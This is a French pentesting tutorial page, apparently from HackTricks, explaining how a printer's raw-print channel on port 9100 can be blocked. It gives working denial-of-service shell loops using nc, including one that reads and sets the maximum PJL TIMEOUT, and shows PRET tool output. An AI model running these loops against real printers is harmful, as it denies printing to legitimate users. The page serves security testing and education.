hacktricks/network-services-pentesting/pentesting-printers/transmission-channel.md
2023-06-03 13:10:46 +00:00

3.4 KiB

Si les travaux d'impression sont traités en série - ce qui est supposé pour la plupart des appareils - un seul travail peut être traité à la fois. Si ce travail ne se termine pas, le canal d'impression est bloqué jusqu'à ce qu'un délai d'expiration soit déclenché, empêchant les utilisateurs légitimes d'imprimer.

DoS de base:

while true; do nc printer 9100; done

Cette attaque de déni de service banale peut être améliorée en définissant une valeur de temporisation élevée avec PJL, de sorte que le nombre de connexions qu'un attaquant peut établir est minimisé, tandis qu'il est encore plus difficile pour les utilisateurs légitimes de bénéficier d'un créneau horaire gratuit :

# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
  grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done

Vous pouvez utiliser PRET pour trouver les paramètres de temps d'attente :

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
       5
       300

Bien que la référence PJL spécifie un délai d'expiration maximal de 300 secondes, en pratique, les délais d'expiration PJL maximum peuvent varier de 15 à 2147483 secondes. Notez que même les travaux d'impression reçus d'autres canaux d'impression tels que IPP ou LPD ne sont plus traités tant que la connexion est maintenue ouverte.

En savoir plus sur cette attaque sur http://hacking-printers.net/wiki/index.php/Transmission_channel

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥